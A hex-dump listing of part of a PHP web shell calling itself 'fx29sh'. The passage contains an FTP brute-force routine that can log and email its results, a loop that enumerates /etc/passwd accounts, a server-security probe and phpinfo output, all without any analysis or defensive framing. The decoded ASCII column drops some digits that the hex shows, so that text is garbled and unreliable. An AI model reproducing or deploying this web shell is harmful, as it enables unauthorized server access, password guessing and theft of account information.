62624: 6F6E65213C2F623E3C62723E546F74616C2074696D652028736563732E293A20          one!</b><br>Total time (secs.):
62656: 222E24667470717569636B5F742E223C62723E546F74616C20636F6E6E656374          ".$ftpquick_t."<br>Total connect
62688: 696F6E733A20222E24692E223C62723E537563636573732E3A203C666F6E7420          ions: ".$i."<br>Success.: <font
62720: 636F6C6F723D677265656E3E3C623E222E24737563636573732E223C2F623E3C          color=green><b>".$success."</b><
62752: 2F666F6E743E3C62723E556E737563636573732E3A222E2824692D2473756363          /font><br>Unsuccess.:".($i-$succ
62784: 657373292E223C2F623E3C62723E436F6E6E6563747320706572207365636F6E          ess)."</b><br>Connects per secon
62816: 643A20222E726F756E642824692F24667470717569636B5F742C32292E223C62          d: ".round($i/$ftpquick_t,2)."<b
62848: 723E223B0D0A202020202020246671625F6C6F67202E3D20225C725C6E2D2D2D          r>"; $fqb_log .= "\r\n---
62880: 2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D          --------------------------------
62912: 2D2D2D2D2D2D2D5C725C6E446F6E65215C725C6E546F74616C2074696D652028          -------\r\nDone!\r\nTotal time (
62944: 736563732E293A20222E24667470717569636B5F742E225C725C6E546F74616C          secs.): ".$ftpquick_t."\r\nTotal
62976: 20636F6E6E656374696F6E733A20222E24692E225C725C6E537563636573732E          connections: ".$i."\r\nSuccess.
63008: 3A20222E24737563636573732E225C725C6E556E737563636573732E3A222E28          : ".$success."\r\nUnsuccess.:".(
63040: 24692D2473756363657373292E225C725C6E436F6E6E65637473207065722073          $i-$success)."\r\nConnects per s
63072: 65636F6E643A20222E726F756E642824692F24667470717569636B5F742C3229          econd: ".round($i/$ftpquick_t,2)
63104: 2E225C725C6E223B0D0A20202020202069662028246671625F6C6F6766702920          ."\r\n"; if ($fqb_logfp)
63136: 7B667365656B28246671625F6C6F6766702C30293B2066777269746528246671          {fseek($fqb_logfp, ); fwrite($fq
63168: 625F6C6F6766702C246671625F6C6F672C7374726C656E28246671625F6C6F67          b_logfp,$fqb_log,strlen($fqb_log
63200: 29293B7D0D0A20202020202069662028246671625F6C6F67656D61696C29207B          ));} if ($fqb_logemail) {
63232: 406D61696C28246671625F6C6F67656D61696C2C22222E2473685F6E616D652E          @mail($fqb_logemail,"".$sh_name.
63264: 22207265706F7274222C246671625F6C6F67293B7D0D0A20202020202066636C          " report",$fqb_log);} fcl
63296: 6F736528246671625F6C6F676670293B0D0A202020207D0D0A20207D0D0A2020          ose($fqb_logfp); } }
63328: 656C7365207B0D0A20202020246C6F6766696C65203D2024746D706469725F6C          else { $logfile = $tmpdir_l
63360: 6F67732E226678323973685F667470717569636B62727574655F222E64617465          ogs."fx29sh_ftpquickbrute_".date
63392: 2822642E6D2E595F485F695F7322292E222E6C6F67223B0D0A20202020246C6F          ("d.m.Y_H_i_s").".log"; $lo
63424: 6766696C65203D207374725F7265706C61636528222F2F222C4449524543544F          gfile = str_replace("//",DIRECTO
63456: 52595F534550415241544F522C246C6F6766696C65293B0D0A20202020656368          RY_SEPARATOR,$logfile); ech
63488: 6F20223C666F726D20616374696F6E3D5C22222E247375726C2E225C223E3C69          o "<form action=\"".$surl."\"><i
63520: 6E70757420747970653D68696464656E206E616D653D6163742076616C75653D          nput type=hidden name=act value=
63552: 5C22667470717569636B62727574655C223E222E0D0A20202020202020202022          \"ftpquickbrute\">". "
63584: 526561642066697273743A3C2F74643E3C74643E3C696E70757420747970653D          Read first:</td><td><input type=
63616: 74657874206E616D653D5C226671625F6C656E6768745C222076616C75653D5C          text name=\"fqb_lenght\" value=\
63648: 22222E246E6978707764706572706167652E225C223E3C2F74643E3C2F74723E          "".$nixpwdperpage."\"></td></tr>
63680: 222E0D0A202020202020202020223C74723E3C74643E3C2F74643E3C74643E3C          ". "<tr><td></td><td><
63712: 696E70757420747970653D5C22636865636B626F785C22206E616D653D5C2266          input type=\"checkbox\" name=\"f
63744: 71625F6F6E6C797769746873685C222076616C75653D5C22315C223E20557365          qb_onlywithsh\" value=\"1\"> Use
63776: 7273206F6E6C792077697468207368656C6C3C2F74643E3C2F74723E222E0D0A          rs only with shell</td></tr>".
63808: 202020202020202020223C74723E3C74643E3C2F74643E3C74643E3C696E7075          "<tr><td></td><td><inpu
63840: 7420747970653D5C22636865636B626F785C22206E616D653D5C226671625F6C          t type=\"checkbox\" name=\"fqb_l
63872: 6F6767696E675C222076616C75653D5C22315C2220636865636B65643E4C6F67          ogging\" value=\"1\" checked>Log
63904: 67696E673C2F74643E3C2F74723E222E0D0A202020202020202020223C74723E          ging</td></tr>". "<tr>
63936: 3C74643E4C6F6767696E6720746F2066696C653A3C2F74643E3C74643E3C696E          <td>Logging to file:</td><td><in
63968: 70757420747970653D5C22746578745C22206E616D653D5C226671625F6C6F67          put type=\"text\" name=\"fqb_log
64000: 66696C655C222076616C75653D5C22222E246C6F6766696C652E225C22207369          file\" value=\"".$logfile."\" si
64032: 7A653D5C22222E287374726C656E28246C6F6766696C65292B322A287374726C          ze=\"".(strlen($logfile)+2*(strl
64064: 656E28246C6F6766696C65292F313029292E225C223E3C2F74643E3C2F74723E          en($logfile)/1 ))."\"></td></tr>
64096: 222E0D0A202020202020202020223C74723E3C74643E4C6F6767696E6720746F          ". "<tr><td>Logging to
64128: 20652D6D61696C3A3C2F74643E3C74643E3C696E70757420747970653D5C2274          e-mail:</td><td><input type=\"t
64160: 6578745C22206E616D653D5C226671625F6C6F67656D61696C5C222076616C75          ext\" name=\"fqb_logemail\" valu
64192: 653D5C22222E246C6F675F656D61696C2E225C222073697A653D5C22222E2873          e=\"".$log_email."\" size=\"".(s
64224: 74726C656E28246C6F67656D61696C292B322A287374726C656E28246C6F6765          trlen($logemail)+2*(strlen($loge
64256: 6D61696C292F313029292E225C223E3C2F74643E3C2F74723E222E0D0A202020          mail)/1 ))."\"></td></tr>".
64288: 202020202020223C74723E3C746420636F6C7370616E3D323E3C696E70757420          "<tr><td colspan=2><input
64320: 747970653D7375626D6974206E616D653D7375626D69742076616C75653D5C22          type=submit name=submit value=\"
64352: 42727574655C223E3C2F666F726D3E223B0D0A20207D0D0A20206563686F2022          Brute\"></form>"; } echo "
64384: 3C2F74643E3C2F74723E3C2F7461626C653E3C2F63656E7465723E223B0D0A7D          </td></tr></table></center>"; }
64416: 0D0A7D0D0A6966202824616374203D3D2022642229207B0D0A20206966202821          } if ($act == "d") { if (!
64448: 69735F6469722824642929207B206563686F20223C63656E7465723E3C623E24          is_dir($d)) { echo "<center><b>$
64480: 642069732061206E6F742061204469726563746F7279213C2F623E3C2F63656E          d is a not a Directory!</b></cen
64512: 7465723E223B207D0D0A2020656C7365207B0D0A202020206563686F20223C62          ter>"; } else { echo "<b
64544: 3E4469726563746F727920696E666F726D6174696F6E3A3C2F623E3C7461626C          >Directory information:</b><tabl
64576: 6520626F726465723D302063656C6C73706163696E673D312063656C6C706164          e border=  cellspacing=1 cellpad
64608: 64696E673D323E223B0D0A2020202069662028212477696E29207B0D0A202020          ding=2>"; if (!$win) {
64640: 2020206563686F20223C74723E3C74643E3C623E4F776E65722F47726F75703C          echo "<tr><td><b>Owner/Group<
64672: 2F623E3C2F74643E3C74643E20223B0D0A202020202020246F77203D20706F73          /b></td><td> "; $ow = pos
64704: 69785F67657470777569642866696C656F776E657228246429293B0D0A202020          ix_getpwuid(fileowner($d));
64736: 202020246772203D20706F7369785F67657467726769642866696C6567726F75          $gr = posix_getgrgid(filegrou
64768: 7028246429293B0D0A20202020202024726F775B5D203D2028246F775B226E61          p($d)); $row[] = ($ow["na
64800: 6D65225D3F246F775B226E616D65225D3A66696C656F776E657228246429292E          me"]?$ow["name"]:fileowner($d)).
64832: 222F222E282467725B226E616D65225D3F2467725B226E616D65225D3A66696C          "/".($gr["name"]?$gr["name"]:fil
64864: 6567726F757028246429293B0D0A202020207D0D0A202020206563686F20223C          egroup($d)); } echo "<
64896: 74723E3C74643E3C623E5065726D733C2F623E3C2F74643E3C74643E3C612068          tr><td><b>Perms</b></td><td><a h
64928: 7265663D5C22222E247375726C2E226163743D63686D6F6426643D222E75726C          ref=\"".$surl."act=chmod&d=".url
64960: 656E636F6465282464292E225C223E3C623E222E766965775F7065726D735F63          encode($d)."\"><b>".view_perms_c
64992: 6F6C6F72282464292E223C2F623E3C2F613E3C74723E3C74643E3C623E437265          olor($d)."</b></a><tr><td><b>Cre
65024: 6174652074696D653C2F623E3C2F74643E3C74643E20222E646174652822642F          ate time</b></td><td> ".date("d/
65056: 6D2F5920483A693A73222C66696C656374696D6528246429292E223C2F74643E          m/Y H:i:s",filectime($d))."</td>
65088: 3C2F74723E3C74723E3C74643E3C623E4163636573732074696D653C2F623E3C          </tr><tr><td><b>Access time</b><
65120: 2F74643E3C74643E20222E646174652822642F6D2F5920483A693A73222C6669          /td><td> ".date("d/m/Y H:i:s",fi
65152: 6C656174696D6528246429292E223C2F74643E3C2F74723E3C74723E3C74643E          leatime($d))."</td></tr><tr><td>
65184: 3C623E4D4F444946592074696D653C2F623E3C2F74643E3C74643E20222E6461          <b>MODIFY time</b></td><td> ".da
65216: 74652822642F6D2F5920483A693A73222C66696C656D74696D6528246429292E          te("d/m/Y H:i:s",filemtime($d)).
65248: 223C2F74643E3C2F74723E3C2F7461626C653E223B0D0A20207D0D0A7D0D0A69          "</td></tr></table>"; } } i
65280: 66202824616374203D3D2022706870696E666F2229207B406F625F636C65616E          f ($act == "phpinfo") {@ob_clean
65312: 28293B20706870696E666F28293B206678323973686578697428293B7D0D0A69          (); phpinfo(); fx29shexit();} i
65344: 66202824616374203D3D202273656375726974792229207B0D0A20206563686F          f ($act == "security") { echo
65376: 20223C64697620636C6173733D6261726865616465723E2E3A20536572766572          "<div class=barheader>.: Server
65408: 20536563757269747920496E666F726D6174696F6E203A2E3C2F6469763E5C6E          Security Information :.</div>\n
65440: 222E0D0A20202020202020223C7461626C653E5C6E222E0D0A20202020202020          ". "<table>\n".
65472: 223C74723E3C74643E4F70656E2042617365204469723C2F74643E3C74643E22          "<tr><td>Open Base Dir</td><td>"
65504: 2E24686F70656E626173656469722E223C2F74643E3C2F74723E5C6E223B0D0A          .$hopenbasedir."</td></tr>\n";
65536: 20206563686F20223C74643E50617373776F72642046696C653C2F74643E3C74          echo "<td>Password File</td><t
65568: 643E223B0D0A202069662028212477696E29207B0D0A2020202069662028246E          d>"; if (!$win) { if ($n
65600: 697870617373776429207B0D0A20202020202069662028246E69787061737377          ixpasswd) { if ($nixpassw
65632: 64203D3D203129207B246E6978706173737764203D20303B7D0D0A2020202020          d == 1) {$nixpasswd =  ;}
65664: 206563686F20222A6E6978202F6574632F7061737377643A3C62723E223B0D0A          echo "*nix /etc/passwd:<br>";
65696: 202020202020696620282169735F6E756D6572696328246E69787077645F7329          if (!is_numeric($nixpwd_s)
65728: 29207B246E69787077645F73203D20303B7D0D0A202020202020696620282169          ) {$nixpwd_s =  ;} if (!i
65760: 735F6E756D6572696328246E69787077645F652929207B246E69787077645F65          s_numeric($nixpwd_e)) {$nixpwd_e
65792: 203D20246E6978707764706572706167653B7D0D0A2020202020206563686F20          = $nixpwdperpage;} echo
65824: 223C666F726D20616374696F6E3D5C22222E247375726C2E225C223E3C696E70          "<form action=\"".$surl."\"><inp
65856: 757420747970653D68696464656E206E616D653D6163742076616C75653D5C22          ut type=hidden name=act value=\"
65888: 73656375726974795C223E3C696E70757420747970653D68696464656E206E61          security\"><input type=hidden na
65920: 6D653D5C226E69787061737377645C222076616C75653D5C22315C223E3C623E          me=\"nixpasswd\" value=\"1\"><b>
65952: 46726F6D3A3C2F623E266E6273703B3C696E70757420747970653D5C22746578          From:</b>&nbsp;<input type=\"tex
65984: 743D5C22206E616D653D5C226E69787077645F735C222076616C75653D5C2222          t=\" name=\"nixpwd_s\" value=\""
66016: 2E246E69787077645F732E225C223E266E6273703B3C623E546F3A3C2F623E26          .$nixpwd_s."\">&nbsp;<b>To:</b>&
66048: 6E6273703B3C696E70757420747970653D5C22746578745C22206E616D653D5C          nbsp;<input type=\"text\" name=\
66080: 226E69787077645F655C222076616C75653D5C22222E246E69787077645F652E          "nixpwd_e\" value=\"".$nixpwd_e.
66112: 225C223E266E6273703B3C696E70757420747970653D7375626D69742076616C          "\">&nbsp;<input type=submit val
66144: 75653D5C22566965775C223E3C2F666F726D3E3C62723E223B0D0A2020202020          ue=\"View\"></form><br>";
66176: 202469203D20246E69787077645F733B0D0A2020202020207768696C65202824          $i = $nixpwd_s; while ($
66208: 69203C20246E69787077645F6529207B0D0A202020202020202024756964203D          i < $nixpwd_e) { $uid =
66240: 20706F7369785F6765747077756964282469293B0D0A20202020202020206966          posix_getpwuid($i); if
66272: 20282475696429207B0D0A20202020202020202020247569645B22646972225D          ($uid) { $uid["dir"]
66304: 203D20223C6120687265663D5C22222E247375726C2E226163743D6C7326643D          = "<a href=\"".$surl."act=ls&d=
66336: 222E75726C656E636F646528247569645B22646972225D292E225C223E222E24          ".urlencode($uid["dir"])."\">".$
66368: 7569645B22646972225D2E223C2F613E223B0D0A202020202020202020206563          uid["dir"]."</a>"; ec
66400: 686F206A6F696E28223A222C24756964292E223C62723E223B0D0A2020202020          ho join(":",$uid)."<br>";
66432: 2020207D0D0A202020202020202024692B2B3B0D0A2020202020207D0D0A2020          } $i++; }
66464: 20207D0D0A20202020656C73